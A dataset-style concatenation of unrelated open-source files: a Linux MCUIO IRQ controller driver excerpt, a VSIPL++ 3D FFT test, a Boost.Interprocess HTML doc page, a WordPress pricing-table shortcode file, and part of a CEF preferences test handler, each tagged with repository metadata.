container_of(mdev, struct soft_local_irq_ctrl_msg, mdev);
int i;
pr_debug("%s entered\n", __func__);
atomic_set(&slicm->removing, 1);
pr_debug("canceling write req cb\n");
mcuio_cancel_cb(&slicm->write_req);
for (i = 0; i < MCUIO_FUNCS_PER_DEV; i++) {
struct fn_irqdata *idata = &slicm->irqdata[i];
pr_debug("stopping thread for device %d\n", i);
flush_kthread_worker(&idata->irq_kworker);
kthread_stop(idata->irq_kworker_task);
}
pr_debug("freeing irq descriptors\n");
irq_free_descs(slicm->base_irq, MCUIO_FUNCS_PER_DEV);
kfree(slicm);
}
static struct device_type mcuio_soft_local_irq_ctrl_device_type = {
.name = "mcuio-soft-local-irq-ctrl",
.groups = soft_local_irq_ctrl_dev_attr_groups,
.release = mcuio_soft_local_irq_ctrl_release,
};
static void mcuio_soft_local_irq_controller_msg_wcb(struct mcuio_request *r)
{
struct soft_local_irq_ctrl_msg *slicm = r->cb_data;
struct fn_irqdata *idata;
int fn;
pr_debug("%s %d, offset = 0x%04x, data[0] = 0x%08x\n",
__func__, __LINE__, r->offset, r->data[0]);
if (atomic_read(&slicm->removing))
return;
fn = (r->offset - MCUIO_IRQ_TRIGGER) / sizeof(u32);
if ((fn < 0) || (fn >= MCUIO_FUNCS_PER_DEV)) {
if (r->status != -ECANCELED)
dev_err(&slicm->mdev.dev, "UNHANDLED WRITE REQ TO 0x%04x\n",
r->offset);
return;
}
idata = &slicm->irqdata[fn];
queue_kthread_work(&idata->irq_kworker, &idata->do_irq);
}
static void mcuio_soft_local_irq_mask(struct irq_data *d)
{
}
static void mcuio_soft_local_irq_unmask(struct irq_data *d)
{
}
static void __do_irq(struct kthread_work *work)
{
struct fn_irqdata *idata =
container_of(work, struct fn_irqdata, do_irq);
handle_nested_irq(idata->irq);
}
struct mcuio_device *
mcuio_add_soft_local_irq_ctrl(struct mcuio_device *hc, int fn, int base_irq)
{
struct soft_local_irq_ctrl_msg *slicm = kzalloc(sizeof(*slicm),
GFP_KERNEL);
struct mcuio_device *out, *mdev;
int i, ret, dev_irqs[MCUIO_FUNCS_PER_DEV];
pr_debug("%s entered\n", __func__);
if (!slicm) {
dev_err(&hc->dev, "error allocating soft local irq struct\n");
return ERR_PTR(-ENOMEM);
}
mdev = &slicm->mdev;
slicm->chip.name = "MCUIO-SOFT-LOCAL-IRQ-CTRL";
slicm->chip.irq_mask = mcuio_soft_local_irq_mask;
slicm->chip.irq_unmask = mcuio_soft_local_irq_unmask;
slicm->base_irq = base_irq;
for (i = 0; i < MCUIO_FUNCS_PER_DEV; i++) {
int irq = slicm->base_irq + i;
struct fn_irqdata *idata = &slicm->irqdata[i];
irq_set_chip_data(irq, slicm);
irq_set_handler_data(irq, idata);
irq_set_chip(irq, &slicm->chip);
irq_set_handler(irq, &handle_simple_irq);
irq_modify_status(irq,
IRQ_NOREQUEST | IRQ_NOAUTOEN, IRQ_NOPROBE);
dev_irqs[i] = irq;
idata->irq = irq;
init_kthread_worker(&idata->irq_kworker);
idata->irq_kworker_task = kthread_run(kthread_worker_fn,
&idata->irq_kworker,
"mcuio_irq_%d_%d",
fn, i);
if (IS_ERR(idata->irq_kworker_task)) {
int j;
pr_err("failed to create irq tsk for %d, fn %d\n",
hc->device, i);
mdev = ERR_PTR(PTR_ERR(idata->irq_kworker_task));
for (j = 0; j < i; j++) {
idata = &slicm->irqdata[j];
kthread_stop(idata->irq_kworker_task);
}
break;
}
init_kthread_work(&idata->do_irq, __do_irq);
}
if (IS_ERR(mdev)) {
out = mdev;
goto err0;
}
mdev->id.device = MCUIO_DEVICE_LOCAL_IRQC_MSG;
mdev->id.vendor = MCUIO_VENDOR_DOGHUNTER;
mdev->id.class = MCUIO_CLASS_SOFT_LOCAL_IRQ_CONTROLLER_PROTO;
mdev->id.class_mask = 0xffffffff;
mdev->bus = hc->bus;
/* Local device */
mdev->device = 0;
mdev->fn = fn;
pr_debug("%s %d, device = 0x%04x, vendor = 0x%04x, "
"class = 0x%04x\n", __func__, __LINE__, mdev->id.device,
mdev->id.vendor, mdev->id.class);
/*
* Register a callback for write requests to this device
* over the mcuio bus
*/
slicm->write_req.cb = mcuio_soft_local_irq_controller_msg_wcb;
slicm->write_req.cb_data = slicm;
mcuio_init_request(&slicm->write_req, hc, mdev->device, mdev->fn,
mcuio_type_wrdw, 0, 0, 0);
ret = mcuio_setup_cb(&slicm->write_req);
if (ret < 0) {
dev_err(&hc->dev, "error setting up write callback\n");
out = ERR_PTR(ret);
goto err0;
}
/*
* The hc is not our parent
*/
ret = mcuio_device_register(mdev,
&mcuio_soft_local_irq_ctrl_device_type,
NULL);
if (ret < 0) {
dev_err(&hc->dev,
"error registering device %u:%u.%u\n", hc->bus, 0, fn);
out = ERR_PTR(ret);
goto err1;
}
ret = mcuio_hc_set_irqs(hc, fn, dev_irqs);
if (ret < 0) {
dev_err(&hc->dev, "error setting irqs\n");
mcuio_device_unregister(mdev);
out = ERR_PTR(ret);
goto err1;
}
out = mdev;
pr_debug("%s successful, created device %s\n",
__func__, dev_name(&out->dev));
return out;
err1:
mcuio_cancel_cb(&slicm->write_req);
err0:
irq_free_descs(slicm->base_irq, MCUIO_FUNCS_PER_DEV);
kfree(mdev);
return out;
}
EXPORT_SYMBOL(mcuio_add_soft_local_irq_ctrl);
MODULE_AUTHOR("Davide Ciminaghi");
MODULE_DESCRIPTION("MCUIO irq controller driver");
MODULE_LICENSE("GPL v2");
|
linino/kernel_3.3.8
|
drivers/mcuio/mcuio-soft-local-irq-ctrl-msg-dev.c
|
C
|
gpl-2.0
| 7,402
|
/* Copyright (c) 2008 by CodeSourcery. All rights reserved.
This file is available for license from CodeSourcery, Inc. under the terms
of a commercial license. It is not part of the VSIPL++
reference implementation and is not available under the GPL or BSD licenses.
*/
/** @file tests/cvsip/fft3d.c
@author Stefan Seefeld
@date 2008-07-07
@brief test 3d fft operations.
*/
#include <vsip.h>
#include "output.h"
#include "test.h"
#define DEBUG 1
void
test_complex_d(vsip_length z, vsip_length y, vsip_length x,
vsip_fft_dir dir)
{
vsip_fft_d *z_fft = vsip_ccfftop_create_d(z, 1.0, dir, 0, VSIP_ALG_SPACE);
vsip_fft_d *y_fft = vsip_ccfftip_create_d(y, 1.0, dir, 0, VSIP_ALG_SPACE);
vsip_fft_d *x_fft = vsip_ccfftip_create_d(x, 1.0, dir, 0, VSIP_ALG_SPACE);
vsip_fft3d_d *fft = vsip_ccfft3dop_create_d(z, y, x, 1.0, dir, 0, VSIP_ALG_SPACE);
vsip_fft3d_attr_d attr;
vsip_fft3d_getattr_d(fft, &attr);
test_assert(attr.input.z == z);
test_assert(attr.input.y == y);
test_assert(attr.input.x == x);
test_assert(attr.output.z == z);
test_assert(attr.output.y == y);
test_assert(attr.output.x == x);
test_assert(attr.place == VSIP_FFT_OP);
test_assert(attr.scale == 1.0);
test_assert(attr.dir == dir);
vsip_ctview_d *in = vsip_ctcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_randstate *rng = vsip_randcreate(0, 1, 1, VSIP_PRNG);
vsip_ctrandu_d(rng, in);
vsip_randdestroy(rng);
vsip_ctview_d *out = vsip_ctcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_ctview_d *ref = vsip_ctcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_ccfft3dop_d(fft, in, out);
size_t i, j;
for (i = 0; i != z; ++i)
for (j = 0; j != y; ++j)
{
vsip_cvview_d *in_sub = vsip_ctvectview_d(in, VSIP_TVX, i, j);
vsip_cvview_d *ref_sub = vsip_ctvectview_d(ref, VSIP_TVX, i, j);
vsip_ccfftop_d(x_fft, in_sub, ref_sub);
vsip_cvdestroy_d(ref_sub);
vsip_cvdestroy_d(in_sub);
}
for (i = 0; i != z; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVY, i, j);
vsip_ccfftip_d(y_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVZ, i, j);
vsip_ccfftip_d(z_fft, sub);
vsip_cvdestroy_d(sub);
}
test_assert(cterror_db_d(out, ref) < -100.);
vsip_ctalldestroy_d(ref);
vsip_ctalldestroy_d(out);
vsip_ctalldestroy_d(in);
}
void
test_real_d(vsip_length z, vsip_length y, vsip_length x,
int axis, vsip_fft_dir dir)
{
vsip_fft_d *z_fft;
vsip_fft_d *y_fft;
vsip_fft_d *x_fft;
if (axis == 0)
{
if (dir == VSIP_FFT_FWD)
z_fft = vsip_rcfftop_create_d(z, 1.0, 0, VSIP_ALG_SPACE);
else
z_fft = vsip_crfftop_create_d(z, 1.0, 0, VSIP_ALG_SPACE);
y_fft = vsip_ccfftip_create_d(y, 1.0, dir, 0, VSIP_ALG_SPACE);
x_fft = vsip_ccfftip_create_d(x, 1.0, dir, 0, VSIP_ALG_SPACE);
}
else if (axis == 1)
{
z_fft = vsip_ccfftip_create_d(z, 1.0, dir, 0, VSIP_ALG_SPACE);
if (dir == VSIP_FFT_FWD)
y_fft = vsip_rcfftop_create_d(y, 1.0, 0, VSIP_ALG_SPACE);
else
y_fft = vsip_crfftop_create_d(y, 1.0, 0, VSIP_ALG_SPACE);
x_fft = vsip_ccfftip_create_d(x, 1.0, dir, 0, VSIP_ALG_SPACE);
}
else
{
z_fft = vsip_ccfftip_create_d(z, 1.0, dir, 0, VSIP_ALG_SPACE);
y_fft = vsip_ccfftip_create_d(y, 1.0, dir, 0, VSIP_ALG_SPACE);
if (dir == VSIP_FFT_FWD)
x_fft = vsip_rcfftop_create_d(x, 1.0, 0, VSIP_ALG_SPACE);
else
x_fft = vsip_crfftop_create_d(x, 1.0, 0, VSIP_ALG_SPACE);
}
vsip_fft3d_d *fft;
if (dir == VSIP_FFT_FWD)
fft = vsip_rcfft3dop_create_d(z, y, x, 1.0, 0, VSIP_ALG_SPACE);
else
fft = vsip_crfft3dop_create_d(z, y, x, 1.0, 0, VSIP_ALG_SPACE);
#if 0
vsip_fft3d_attr_d attr;
vsip_fft3d_getattr_d(fft, &attr);
test_assert(attr.input.z == z);
test_assert(attr.input.y == y);
test_assert(attr.input.x == x);
test_assert(attr.output.z == z);
test_assert(attr.output.y == y);
test_assert(attr.output.x == x);
test_assert(attr.place == VSIP_FFT_OP);
test_assert(attr.scale == 1.0);
test_assert(attr.dir == dir);
#endif
if (dir == VSIP_FFT_FWD)
{
size_t z_out = axis == 0 ? z/2+1 : z;
size_t y_out = axis == 1 ? y/2+1 : y;
size_t x_out = axis == 2 ? x/2+1 : x;
vsip_tview_d *in_raw = vsip_tcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_tview_d *in;
if (axis == 0) in = vsip_ttransview_d(in_raw, VSIP_TTRANS_ZX);
else if (axis == 1) in = vsip_ttransview_d(in_raw, VSIP_TTRANS_YX);
else in = vsip_ttransview_d(in_raw, VSIP_TTRANS_NOP);
vsip_randstate *rng = vsip_randcreate(0, 1, 1, VSIP_PRNG);
vsip_trandu_d(rng, in);
vsip_randdestroy(rng);
vsip_ctview_d *out = vsip_ctcreate_d(z_out, y_out, x_out, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_ctview_d *ref = vsip_ctcreate_d(z_out, y_out, x_out, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_rcfft3dop_d(fft, in, out);
size_t i, j;
if (axis == 2)
{
for (i = 0; i != z_out; ++i)
for (j = 0; j != y_out; ++j)
{
vsip_vview_d *in_sub = vsip_tvectview_d(in, VSIP_TVX, i, j);
vsip_cvview_d *ref_sub = vsip_ctvectview_d(ref, VSIP_TVX, i, j);
vsip_rcfftop_d(x_fft, in_sub, ref_sub);
vsip_cvdestroy_d(ref_sub);
vsip_vdestroy_d(in_sub);
}
for (i = 0; i != z_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVY, i, j);
vsip_ccfftip_d(y_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVZ, i, j);
vsip_ccfftip_d(z_fft, sub);
vsip_cvdestroy_d(sub);
}
}
else if (axis == 1)
{
for (i = 0; i != z_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_vview_d *in_sub = vsip_tvectview_d(in, VSIP_TVY, i, j);
vsip_cvview_d *ref_sub = vsip_ctvectview_d(ref, VSIP_TVY, i, j);
vsip_rcfftop_d(y_fft, in_sub, ref_sub);
vsip_cvdestroy_d(ref_sub);
vsip_vdestroy_d(in_sub);
}
for (i = 0; i != z_out; ++i)
for (j = 0; j != y_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVX, i, j);
vsip_ccfftip_d(x_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVZ, i, j);
vsip_ccfftip_d(z_fft, sub);
vsip_cvdestroy_d(sub);
}
}
else // axis == 0
{
for (i = 0; i != y_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_vview_d *in_sub = vsip_tvectview_d(in, VSIP_TVZ, i, j);
vsip_cvview_d *ref_sub = vsip_ctvectview_d(ref, VSIP_TVZ, i, j);
vsip_rcfftop_d(z_fft, in_sub, ref_sub);
vsip_cvdestroy_d(ref_sub);
vsip_vdestroy_d(in_sub);
}
for (i = 0; i != z_out; ++i)
for (j = 0; j != x_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVY, i, j);
vsip_ccfftip_d(y_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != z_out; ++i)
for (j = 0; j != y_out; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(ref, VSIP_TVX, i, j);
vsip_ccfftip_d(x_fft, sub);
vsip_cvdestroy_d(sub);
}
}
test_assert(cterror_db_d(out, ref) < -100.);
vsip_ctalldestroy_d(ref);
vsip_ctalldestroy_d(out);
vsip_tdestroy_d(in);
vsip_talldestroy_d(in_raw);
}
else // dir == VSIP_FFT_INV
{
// To obtain the unit-stride along the desired axis, we transpose the tensor.
vsip_ctview_d *in_raw = vsip_ctcreate_d(z, y, x/2 + 1, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_ctview_d *in;
if (axis == 0) in = vsip_cttransview_d(in_raw, VSIP_TTRANS_ZX);
else if (axis == 1) in = vsip_cttransview_d(in_raw, VSIP_TTRANS_YX);
else in = vsip_cttransview_d(in_raw, VSIP_TTRANS_NOP);
vsip_randstate *rng = vsip_randcreate(0, 1, 1, VSIP_PRNG);
vsip_ctrandu_d(rng, in);
vsip_randdestroy(rng);
vsip_tview_d *out = vsip_tcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_tview_d *ref = vsip_tcreate_d(z, y, x, VSIP_TRAILING, VSIP_MEM_NONE);
vsip_crfft3dop_d(fft, in, out);
size_t i, j;
if (axis == 2)
{
for (i = 0; i != z; ++i)
for (j = 0; j != x/2+1; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVY, i, j);
vsip_ccfftip_d(y_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y; ++i)
for (j = 0; j != x/2+1; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVZ, i, j);
vsip_ccfftip_d(z_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != z; ++i)
for (j = 0; j != y; ++j)
{
vsip_cvview_d *in_sub = vsip_ctvectview_d(in, VSIP_TVX, i, j);
vsip_vview_d *ref_sub = vsip_tvectview_d(ref, VSIP_TVX, i, j);
vsip_crfftop_d(x_fft, in_sub, ref_sub);
vsip_vdestroy_d(ref_sub);
vsip_cvdestroy_d(in_sub);
}
}
else if (axis == 1)
{
for (i = 0; i != z; ++i)
for (j = 0; j != y/2+1; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVX, i, j);
vsip_ccfftip_d(x_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y/2+1; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVZ, i, j);
vsip_ccfftip_d(z_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != z; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *in_sub = vsip_ctvectview_d(in, VSIP_TVY, i, j);
vsip_vview_d *ref_sub = vsip_tvectview_d(ref, VSIP_TVY, i, j);
vsip_crfftop_d(y_fft, in_sub, ref_sub);
vsip_vdestroy_d(ref_sub);
vsip_cvdestroy_d(in_sub);
}
}
else // axis == 0
{
for (i = 0; i != z/2+1; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVY, i, j);
vsip_ccfftip_d(y_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != z/2+1; ++i)
for (j = 0; j != y; ++j)
{
vsip_cvview_d *sub = vsip_ctvectview_d(in, VSIP_TVX, i, j);
vsip_ccfftip_d(x_fft, sub);
vsip_cvdestroy_d(sub);
}
for (i = 0; i != y; ++i)
for (j = 0; j != x; ++j)
{
vsip_cvview_d *in_sub = vsip_ctvectview_d(in, VSIP_TVZ, i, j);
vsip_vview_d *ref_sub = vsip_tvectview_d(ref, VSIP_TVZ, i, j);
vsip_crfftop_d(z_fft, in_sub, ref_sub);
vsip_vdestroy_d(ref_sub);
vsip_cvdestroy_d(in_sub);
}
}
test_assert(terror_db_d(out, ref) < -100.);
vsip_talldestroy_d(ref);
vsip_talldestroy_d(out);
vsip_ctdestroy_d(in);
vsip_ctalldestroy_d(in_raw);
}
}
int
main(int argc, char **argv)
{
vsip_init(0);
test_complex_d(32, 32, 32, VSIP_FFT_FWD);
test_complex_d(64, 32, 32, VSIP_FFT_FWD);
test_complex_d(32, 64, 32, VSIP_FFT_FWD);
test_complex_d(32, 32, 32, VSIP_FFT_INV);
test_complex_d(64, 32, 32, VSIP_FFT_INV);
test_complex_d(32, 64, 32, VSIP_FFT_INV);
test_real_d(32, 32, 32, 0, VSIP_FFT_FWD);
test_real_d(32, 32, 32, 1, VSIP_FFT_FWD);
test_real_d(32, 32, 32, 2, VSIP_FFT_FWD);
test_real_d(32, 32, 32, 0, VSIP_FFT_INV);
test_real_d(32, 32, 32, 1, VSIP_FFT_INV);
test_real_d(32, 32, 32, 2, VSIP_FFT_INV);
return 0;
}
|
maxywb/vsipl
|
sourceryvsipl++-x86-3.1/src/vsipl++/tests/cvsip/fft3d.c
|
C
|
gpl-2.0
| 11,891
|
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Function template operator-</title>
<link rel="stylesheet" href="../../boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.73.2">
<link rel="start" href="../../index.html" title="The Boost C++ Libraries BoostBook Documentation Subset">
<link rel="up" href="../../boost_interprocess_reference.html#header.boost.interprocess.offset_ptr_hpp" title="Header <boost/interprocess/offset_ptr.hpp>">
<link rel="prev" href="operator__id3283746.html" title="Function template operator+">
<link rel="next" href="swap_id3283821.html" title="Function template swap">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table cellpadding="2" width="100%"><tr>
<td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../boost.png"></td>
<td align="center"><a href="../../../../index.html">Home</a></td>
<td align="center"><a href="../../../../libs/libraries.htm">Libraries</a></td>
<td align="center"><a href="http://www.boost.org/users/people.html">People</a></td>
<td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td>
<td align="center"><a href="../../../../more/index.htm">More</a></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="operator__id3283746.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../boost_interprocess_reference.html#header.boost.interprocess.offset_ptr_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="swap_id3283821.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a>
</div>
<div class="refentry" lang="en">
<a name="boost.interprocess.operator-_id3283781"></a><div class="titlepage"></div>
<div class="refnamediv">
<h2><span class="refentrytitle">Function template operator-</span></h2>
<p>boost::interprocess::operator-</p>
</div>
<h2 xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv-title">Synopsis</h2>
<div xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv"><pre class="synopsis"><span class="emphasis"><em>// In header: <<a class="link" href="../../boost_interprocess_reference.html#header.boost.interprocess.offset_ptr_hpp" title="Header <boost/interprocess/offset_ptr.hpp>">boost/interprocess/offset_ptr.hpp</a>>
</em></span>
<span class="bold"><strong>template</strong></span><<span class="bold"><strong>typename</strong></span> T, <span class="bold"><strong>typename</strong></span> T2>
<span class="type">std::ptrdiff_t</span>
<span class="bold"><strong>operator</strong></span>-(<span class="bold"><strong>const</strong></span> <a class="link" href="offset_ptr.html" title="Class template offset_ptr">offset_ptr</a>< T > & pt, <span class="bold"><strong>const</strong></span> <a class="link" href="offset_ptr.html" title="Class template offset_ptr">offset_ptr</a>< T2 > & pt2);</pre></div>
<div class="refsect1" lang="en">
<a name="id3401426"></a><h2>Description</h2>
<p>offset_ptr - offset_ptr operation </p>
</div>
</div>
<table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr>
<td align="left"></td>
<td align="right"><div class="copyright-footer">Copyright © 2005 - 2008 Ion Gaztañaga<p>
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at <a href="http://www.boost.org/LICENSE_1_0.txt" target="_top">http://www.boost.org/LICENSE_1_0.txt</a>)
</p>
</div></td>
</tr></table>
<hr>
<div class="spirit-nav">
<a accesskey="p" href="operator__id3283746.html"><img src="../../../../doc/html/images/prev.png" alt="Prev"></a><a accesskey="u" href="../../boost_interprocess_reference.html#header.boost.interprocess.offset_ptr_hpp"><img src="../../../../doc/html/images/up.png" alt="Up"></a><a accesskey="h" href="../../index.html"><img src="../../../../doc/html/images/home.png" alt="Home"></a><a accesskey="n" href="swap_id3283821.html"><img src="../../../../doc/html/images/next.png" alt="Next"></a>
</div>
</body>
</html>
|
scs/uclinux
|
lib/boost/boost_1_38_0/doc/html/boost/interprocess/operator-_id3283781.html
|
HTML
|
gpl-2.0
| 4,341
|
<?php
/*
* Old Pricing Table
*/
/*
vc_map( array(
'name' =>'Webnus PricingTable',
'base' => 'pricing_table',
'category' => __( 'Webnus Shortcodes', 'WEBNUS_TEXT_DOMAIN' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Title', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'title',
'value' => 'Title',
'description' => __( 'Enter the Pricing Table Title', 'WEBNUS_TEXT_DOMAIN')
),
array(
'type' => 'textfield',
'heading' => __( 'Price', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'price',
'value' => '$30',
'description' => __( 'Enter the Pricing Table Price', 'WEBNUS_TEXT_DOMAIN')
),
array(
'type' => 'textfield',
'heading' => __( 'Period', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'period',
'value' => '/Month',
'description' => __( 'Enter the Pricing Table Period', 'WEBNUS_TEXT_DOMAIN')
),
array(
'type' => 'textfield',
'heading' => __( 'Link URL', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'link',
'value' => '#',
'description' => __( 'Enter the Pricing Table Link URL', 'WEBNUS_TEXT_DOMAIN')
),
array(
'type' => 'textfield',
'heading' => __( 'Link Title', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'link_title',
'value' => 'Order Now',
'description' => __( 'Enter the Pricing Table Link Text', 'WEBNUS_TEXT_DOMAIN')
),
array(
'type' => 'textarea_html',
'heading' => __( 'Table Items', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'content',
'value' => '[price_item]2 Users[/price_item][price_item]100 mb Disk space[/price_item][price_item]20 Gig Data transfer[/price_item][price_item]Starter Admin Panel[/price_item][price_item]- APIs[/price_item][price_item]Email Support[/price_item]',
'description' => __( 'Enter the Pricing Table Content, [price_item] Acceptable', 'WEBNUS_TEXT_DOMAIN')
),
),
) );
*/
global $wpdb;
$query = "SELECT option_name FROM {$wpdb->options}
WHERE
option_name LIKE 'css3_grid_shortcode_settings%'
ORDER BY option_name";
$pricing_tables_list = $wpdb->get_results($query);
$css3GridAllShortcodeIds = array();
foreach($pricing_tables_list as $pricing_table)
$css3GridAllShortcodeIds[] = substr($pricing_table->option_name,29,strlen($pricing_table->option_name));
sort($css3GridAllShortcodeIds);
vc_map( array(
'name' =>'Webnus Css3PricingTable',
'base' => 'css3_grid',
"description" => "Pricing table",
"icon" => "webnus_pricingtable",
'category' => __( 'Webnus Shortcodes', 'WEBNUS_TEXT_DOMAIN' ),
'params' => array(
array(
'type' => 'dropdown',
'heading' => __( 'Pricing table ID', 'WEBNUS_TEXT_DOMAIN' ),
'param_name' => 'id',
'value' => $css3GridAllShortcodeIds,
'description' => __( 'Select the pricing table ID', 'WEBNUS_TEXT_DOMAIN')
),
),
) );
?>
|
anujsm/test
|
wp-content/themes/florida-wp/inc/visualcomposer/shortcodes/12-pricingtable.php
|
PHP
|
gpl-2.0
| 3,222
|
// Copyright (c) 2015 The Chromium Embedded Framework Authors. All rights
// reserved. Use of this source code is governed by a BSD-style license that
// can be found in the LICENSE file.
#include "Chiika/browser/preferences_test.h"
#include <sstream>
#include <string>
#include <vector>
#include "include/base/cef_logging.h"
#include "include/cef_command_line.h"
#include "include/cef_parser.h"
namespace client {
namespace preferences_test {
namespace {
const char kTestUrl[] = "http://tests/preferences";
// Application-specific error codes.
const int kMessageFormatError = 1;
const int kPreferenceApplicationError = 1;
// Common to all messages.
const char kNameKey[] = "name";
const char kNameValueGet[] = "preferences_get";
const char kNameValueSet[] = "preferences_set";
const char kNameValueState[] = "preferences_state";
// Used with "preferences_get" messages.
const char kIncludeDefaultsKey[] = "include_defaults";
// Used with "preferences_set" messages.
const char kPreferencesKey[] = "preferences";
// Handle messages in the browser process. Only accessed on the UI thread.
class Handler : public CefMessageRouterBrowserSide::Handler {
public:
typedef std::vector<std::string> NameVector;
Handler() {
CEF_REQUIRE_UI_THREAD();
}
// Called due to cefQuery execution in preferences.html.
bool OnQuery(CefRefPtr<CefBrowser> browser,
CefRefPtr<CefFrame> frame,
int64 query_id,
const CefString& request,
bool persistent,
CefRefPtr<Callback> callback) OVERRIDE {
CEF_REQUIRE_UI_THREAD();
// Only handle messages from the test URL.
std::string url = frame->GetURL();
if (url.find(kTestUrl) != 0)
return false;
// Parse |request| as a JSON dictionary.
CefRefPtr<CefDictionaryValue> request_dict = ParseJSON(request);
if (!request_dict) {
callback->Failure(kMessageFormatError, "Incorrect message format");
return true;
}
// Verify the "name" key.
if (!VerifyKey(request_dict, kNameKey, VTYPE_STRING, callback))
return true;
const std::string& message_name = request_dict->GetString(kNameKey);
if (message_name == kNameValueGet) {
// JavaScript is requesting a JSON representation of the preferences tree.
// Verify the "include_defaults" key.
if (!VerifyKey(request_dict, kIncludeDefaultsKey, VTYPE_BOOL, callback))
return true;
const bool include_defaults = request_dict->GetBool(kIncludeDefaultsKey);
OnPreferencesGet(browser, include_defaults, callback);
return true;
} else if (message_name == kNameValueSet) {
// JavaScript is requesting that preferences be updated to match the
// specified JSON representation.
// Verify the "preferences" key.
if (!VerifyKey(request_dict, kPreferencesKey, VTYPE_DICTIONARY, callback))
return true;
CefRefPtr<CefDictionaryValue> preferences =
request_dict->GetDictionary(kPreferencesKey);
OnPreferencesSet(browser, preferences, callback);
return true;
} else if (message_name == kNameValueState) {
// JavaScript is requesting global state information.
OnPreferencesState(browser, callback);
return true;
}
return false;
}
private:
// Execute |callback| with the preferences dictionary as a JSON string.
static void OnPreferencesGet(CefRefPtr<CefBrowser> browser,
bool include_defaults,
CefRefPtr<Callback> callback) {
CefRefPtr<CefRequestContext> context =
browser->GetHost()->GetRequestContext();
// Retrieve all preference values.
CefRefPtr<CefDictionaryValue> prefs =
context->GetAllPreferences(include_defaults);
// Serialize the preferences to JSON and return to the JavaScript caller.
callback->Success(GetJSON(prefs));
}
// Set preferences based on the contents of |preferences|. Execute |callback|
// with a descriptive result message.
static void OnPreferencesSet(CefRefPtr<CefBrowser> browser,
CefRefPtr<CefDictionaryValue> preferences,
CefRefPtr<Callback> callback) {
CefRefPtr<CefRequestContext> context =
browser->GetHost()->GetRequestContext();
CefRefPtr<CefValue> value = CefValue::Create();
value->SetDictionary(preferences);
std::string error;
NameVector changed_names;
// Apply preferences. This may result in errors.
const bool success = ApplyPrefs(context, std::string(), value, error,
changed_names);
// Create a message that accurately represents the result.
std::string message;
if (!changed_names.empty()) {
std::stringstream ss;
ss << "Successfully changed " << changed_names.size() <<
" preferences; ";
for (size_t i = 0; i < changed_names.size(); ++i) {
ss << changed_names[i];
if (i < changed_names.size() - 1)
ss << ", ";
}
message = ss.str();
}
if (!success) {
DCHECK(!error.empty());
if (!message.empty())
message += "\n";
message += error;
}
if (changed_names.empty()) {
if (!message.empty())
message += "\n";
message += "No preferences changed.";
}
